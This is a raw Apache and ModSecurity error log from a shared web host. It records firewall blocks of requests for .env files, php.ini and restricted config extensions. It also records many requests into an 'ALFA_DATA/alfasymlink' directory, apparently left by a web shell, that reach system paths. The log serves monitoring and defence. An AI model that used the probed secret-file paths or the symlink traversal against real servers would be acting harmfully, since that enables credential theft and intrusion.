[Mon Oct 26 08:55:28.292329 2026] [security2:error] [pid 3034830:tid 3034830] [client 34.126.82.152:51428] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at9NwDouFFTcxFhVqAz05gAAACg"]
[Mon Oct 26 08:55:28.292616 2026] [security2:error] [pid 3034830:tid 3034830] [client 34.126.82.152:51428] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at9NwDouFFTcxFhVqAz05gAAACg"]
[Mon Oct 26 08:55:28.326038 2026] [security2:error] [pid 3034825:tid 3034825] [client 34.126.82.152:51400] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at9NwAt-UMteGNTiQA7lHwAAACM"]
[Mon Oct 26 08:55:28.326259 2026] [security2:error] [pid 3034825:tid 3034825] [client 34.126.82.152:51400] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at9NwAt-UMteGNTiQA7lHwAAACM"]
[Mon Oct 26 08:55:28.326605 2026] [security2:error] [pid 3034825:tid 3034825] [client 34.126.82.152:51400] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at9NwAt-UMteGNTiQA7lHwAAACM"]
[Mon Oct 26 08:55:31.701510 2026] [core:error] [pid 3034834:tid 3034834] (13)Permission denied: [client 184.73.239.35:55845] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory10/node0/subsystem/uevent
[Mon Oct 26 08:55:39.706465 2026] [core:error] [pid 3034812:tid 3034812] (13)Permission denied: [client 52.6.232.201:37262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/subsystem/drivers/hardware_error_device/bind
[Mon Oct 26 08:55:47.954218 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 107.20.255.194:8976] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:00.0/remove
[Mon Oct 26 08:55:48.517630 2026] [core:error] [pid 3032274:tid 3032274] (13)Permission denied: [client 85.208.96.207:14698] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-32/usersize
[Mon Oct 26 08:55:57.406030 2026] [proxy_fcgi:error] [pid 3034832:tid 3034832] [client 136.71.169.56:55085] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 08:55:59.803328 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 44.209.187.99:30787] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:56:03.698436 2026] [ssl:error] [pid 3034825:tid 3034825] (70014)End of file found: [client 52.205.141.124:12133] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:56:11.780635 2026] [ssl:error] [pid 3034832:tid 3034832] (70014)End of file found: [client 44.221.180.179:25507] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:56:15.782948 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 34.226.89.140:46883] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:56:20.518096 2026] [ssl:error] [pid 3034812:tid 3034812] (70014)End of file found: [client 54.86.59.155:27110] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:56:27.756839 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 44.215.210.112:5732] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:56:32.197679 2026] [core:error] [pid 3034825:tid 3034825] (13)Permission denied: [client 3.218.35.239:8611] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/vmd/unbind
[Mon Oct 26 08:56:36.099329 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 98.83.226.125:13049] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:56:43.756163 2026] [ssl:error] [pid 3034825:tid 3034825] (70014)End of file found: [client 23.23.212.212:12341] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:56:47.875732 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 52.44.174.136:7245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:56:52.037641 2026] [ssl:error] [pid 3034825:tid 3034825] (70014)End of file found: [client 52.45.92.83:55219] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:56:55.341255 2026] [security2:error] [pid 3032262:tid 3032262] [client 84.32.41.248:40474] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "368"] [id "920340"] [rev "3"] [msg "Request Containing Content, but Missing Content-Type header"] [severity "NOTICE"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at9OF52xsiaUtVQzFSUdKAAAAA8"]
[Mon Oct 26 08:57:10.300119 2026] [security2:error] [pid 3034812:tid 3034812] [client 84.32.41.248:33476] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "368"] [id "920340"] [rev "3"] [msg "Request Containing Content, but Missing Content-Type header"] [severity "NOTICE"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at9OJt9H6KHQp8xa7jIM_QAAABQ"]
[Mon Oct 26 08:57:15.896787 2026] [ssl:error] [pid 3034832:tid 3034832] (70014)End of file found: [client 52.204.174.139:8572] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:57:31.701877 2026] [ssl:error] [pid 3034832:tid 3034832] (70014)End of file found: [client 34.206.212.24:22352] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:57:35.763785 2026] [ssl:error] [pid 3034825:tid 3034825] (70014)End of file found: [client 54.159.98.248:49908] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:57:36.179452 2026] [core:error] [pid 3034830:tid 3034830] (13)Permission denied: [client 185.191.171.7:28462] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/destroy_by_rcu
[Mon Oct 26 08:57:43.763682 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 54.147.182.90:13922] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:57:59.784822 2026] [ssl:error] [pid 3034812:tid 3034812] (70014)End of file found: [client 54.85.7.119:3809] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:58:04.174459 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 34.231.77.232:13378] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:58:08.077118 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 34.206.212.24:27753] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:58:15.715260 2026] [ssl:error] [pid 3024444:tid 3024444] (70014)End of file found: [client 3.232.102.111:21442] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:58:19.909304 2026] [core:error] [pid 3026993:tid 3026993] (13)Permission denied: [client 44.193.115.232:12150] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/input0/event0/subsystem/input1/device/firmware_node/physical_node1/driver/uevent
[Mon Oct 26 08:58:23.769837 2026] [ssl:error] [pid 3034830:tid 3034830] (70014)End of file found: [client 52.45.92.83:30194] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:58:36.250598 2026] [authz_core:error] [pid 3034812:tid 3034812] [client 82.76.92.239:29231] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 08:58:36.489098 2026] [authz_core:error] [pid 3034818:tid 3034818] [client 82.76.92.239:35439] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 08:58:47.734647 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 54.83.240.58:46372] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:58:47.861425 2026] [core:error] [pid 3026993:tid 3026993] (13)Permission denied: [client 185.191.171.19:51444] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-64/store_user
[Mon Oct 26 08:58:51.958368 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 52.45.77.169:12900] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:58:58.749277 2026] [security2:error] [pid 3015803:tid 3015803] [client 85.208.96.212:54110] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/HDA-Intel.conf"] [unique_id "at9OkqXMILbsMtUzObzLSQAAAAg"]
[Mon Oct 26 08:58:58.749687 2026] [security2:error] [pid 3015803:tid 3015803] [client 85.208.96.212:54110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/HDA-Intel.conf"] [unique_id "at9OkqXMILbsMtUzObzLSQAAAAg"]
[Mon Oct 26 08:58:58.750065 2026] [security2:error] [pid 3015803:tid 3015803] [client 85.208.96.212:54110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/HDA-Intel.conf"] [unique_id "at9OkqXMILbsMtUzObzLSQAAAAg"]
[Mon Oct 26 08:59:07.751377 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 100.28.44.58:10788] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:59:11.701881 2026] [ssl:error] [pid 3032273:tid 3032273] (70014)End of file found: [client 3.216.13.10:58732] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:59:15.722094 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 34.197.28.78:60639] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:59:27.914869 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 3.216.227.216:53155] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:59:35.680439 2026] [ssl:error] [pid 3034818:tid 3034818] (5)Input/output error: [client 44.206.93.215:38905] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:59:39.715368 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 54.83.180.239:25618] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:59:55.995379 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 34.224.9.144:61784] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:59:59.770627 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 3.213.46.222:7305] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:00:12.771651 2026] [core:error] [pid 3034812:tid 3034812] (13)Permission denied: [client 185.191.171.11:10722] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-16/free_calls
[Mon Oct 26 09:00:15.751451 2026] [security2:error] [pid 3024444:tid 3024444] [client 35.169.102.85:22385] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:01.1/ata2/link2/"] [unique_id "at9O328sSiC0F8_VnnVXPAAAAAk"]
[Mon Oct 26 09:00:15.751497 2026] [security2:error] [pid 3024444:tid 3024444] [client 35.169.102.85:22385] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:01.1/ata2/link2/"] [unique_id "at9O328sSiC0F8_VnnVXPAAAAAk"]
[Mon Oct 26 09:00:20.261606 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 18.214.124.6:22601] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:00:23.883674 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 3.210.29.96:2130] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:00:31.670966 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 184.73.195.18:60229] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:00:35.710225 2026] [ssl:error] [pid 3034812:tid 3034812] (70014)End of file found: [client 18.235.81.246:7627] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:00:39.674231 2026] [ssl:error] [pid 3034824:tid 3034824] (70014)End of file found: [client 98.83.10.183:24671] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:00:47.071350 2026] [security2:error] [pid 3034836:tid 3034836] [client 49.51.141.76:48112] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at9O_7xRe1JDVouVZUptfwAAAC4"]
[Mon Oct 26 09:00:47.073321 2026] [authz_core:error] [pid 3034836:tid 3034836] [client 49.51.141.76:48112] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 09:00:47.895799 2026] [ssl:error] [pid 3034824:tid 3034824] (70014)End of file found: [client 35.171.141.42:51283] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:00:51.754720 2026] [ssl:error] [pid 3034833:tid 3034833] (70014)End of file found: [client 52.204.89.12:36079] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:01:00.693670 2026] [core:error] [pid 3034830:tid 3034830] (13)Permission denied: [client 185.191.171.3:31008] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dm_uevent/objs_per_slab
[Mon Oct 26 09:01:03.704873 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 3.213.213.161:6769] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:01:20.431204 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 54.147.182.90:21956] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:01:27.851532 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 54.197.178.107:4449] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:01:35.943089 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 44.206.65.8:51267] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:01:39.801645 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 18.214.124.6:54050] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:01:44.145073 2026] [ssl:error] [pid 3034824:tid 3034824] (70014)End of file found: [client 54.157.99.244:60650] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:01:47.967516 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 44.197.76.210:43356] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:02:04.356126 2026] [core:error] [pid 3034812:tid 3034812] (13)Permission denied: [client 54.157.84.74:16819] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:00/physical_node/i2c-0/delete_device
[Mon Oct 26 09:02:06.133490 2026] [security2:error] [pid 3035808:tid 3035808] [client 43.128.156.124:56490] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "at9PTjs8VJ7QW5firx_k8wAAAAE"]
[Mon Oct 26 09:02:08.655660 2026] [ssl:error] [pid 3034823:tid 3034823] (70014)End of file found: [client 23.23.212.212:3296] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:02:15.904319 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 100.29.63.24:34113] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:02:20.094904 2026] [ssl:error] [pid 3034812:tid 3034812] (70014)End of file found: [client 44.223.115.10:27778] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:02:21.910747 2026] [security2:error] [pid 3026993:tid 3026993] [client 107.172.76.131:53956] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9PT3J9l6phwCFrVaFgfwAAAAA"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 09:02:21.910798 2026] [security2:error] [pid 3026993:tid 3026993] [client 107.172.76.131:53956] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9PT3J9l6phwCFrVaFgfwAAAAA"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 09:02:23.739220 2026] [ssl:error] [pid 3034823:tid 3034823] (70014)End of file found: [client 100.29.155.89:4739] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:02:39.632455 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 34.226.89.140:12701] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:02:43.559400 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 54.243.63.52:31966] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:02:55.852958 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 44.223.116.149:53069] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:02:59.487662 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 34.239.85.139:8674] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:03:16.304299 2026] [authz_core:error] [pid 3035808:tid 3035808] [client 130.12.180.168:63954] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 09:03:27.447720 2026] [ssl:error] [pid 3034830:tid 3034830] (70014)End of file found: [client 52.71.216.196:32159] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:03:35.730767 2026] [ssl:error] [pid 3034824:tid 3034824] (70014)End of file found: [client 3.231.193.38:14042] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:03:39.277168 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 3.222.190.107:14527] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:03:51.258696 2026] [security2:error] [pid 3034818:tid 3034818] [client 184.73.167.217:33279] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/avahi/avahi-daemon.conf"] [unique_id "at9Pt3YYJ1RlC0FZClQF9QAAABw"]
[Mon Oct 26 09:03:51.259176 2026] [security2:error] [pid 3034818:tid 3034818] [client 184.73.167.217:33279] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/avahi/avahi-daemon.conf"] [unique_id "at9Pt3YYJ1RlC0FZClQF9QAAABw"]
[Mon Oct 26 09:03:51.259458 2026] [security2:error] [pid 3034818:tid 3034818] [client 184.73.167.217:33279] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/avahi/avahi-daemon.conf"] [unique_id "at9Pt3YYJ1RlC0FZClQF9QAAABw"]
[Mon Oct 26 09:03:55.365638 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 54.83.56.1:33261] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/driver/bind
[Mon Oct 26 09:03:59.230065 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 3.222.190.107:61076] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:04:03.071320 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 54.84.147.79:49988] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:04:07.110424 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 52.2.191.202:30011] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:04:15.054572 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 34.236.185.101:63227] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:04:23.198323 2026] [security2:error] [pid 3034812:tid 3034812] [client 23.22.59.87:65234] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1c/subsystem/devices/PNP0A03:00/PNP0A06:01/"] [unique_id "at9P199H6KHQp8xa7jINCgAAABQ"]
